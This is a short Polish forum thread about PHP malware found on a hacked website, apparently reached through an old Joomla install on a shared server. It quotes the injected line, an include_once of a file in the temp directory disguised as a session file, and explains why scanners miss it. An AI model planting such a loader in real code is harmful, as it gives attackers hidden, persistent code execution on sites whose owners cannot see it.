[f.....s]

#php #wirus
Cfane :)

include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31");

[S.....u]

@factorys: Po Polsku proszę.

[januzi]

@Shunkmanitu: Do tymczasowego katalogu jest wgrany szkodliwy kod, który następnie zostaje wykonany przez zaatakowaną stronę.

[f.....s]

@januzi: @Shunkmanitu: Skanery mogą nie zauważyć pojawienia się nowych plików w katalogach, /tmp jest często wykluczany z alertów. Często też z poziomu FTP nie widać tego katalogu.

[januzi]

@factorys: Z tego co wiem, to sesje mają nazwy zaczynające się od "sess_". Chyba, że pod Windowsem jest jakoś inaczej?

[I.....n]

@factorys: niby ok tylko samo dopisanie takiej linijki do kodu powinno odpalić alarm monitoringu. A wtedy co by tam nie było to programista wyłapie ;)

Chociaż "na żywo" jeszcze takich kombinacji nie widziałem.

[f.....s]

@IrvinTalvanen: No tak to znalazłem :) Zmiana kodu zablokowała wykonywanie PHP. Włam przez Joomla 1.x na tym samym serwerze... Za brak separacji serwisów powinni nogi urywać.

[I.....n]

Za brak separacji serwisów powinni nogi urywać.

@factorys: za to i za Joomlę bez aktualizacji od ładnych paru lat. Chociaż nie raz spotkałem się z podejściem, że "przecież z tej strony i tak nikt nie korzysta a nie chciało nam się usuwać". No to później musiało się chcieć płacić za sprzątanie serwera (⌐ ͡■ ͜ʖ ͡■)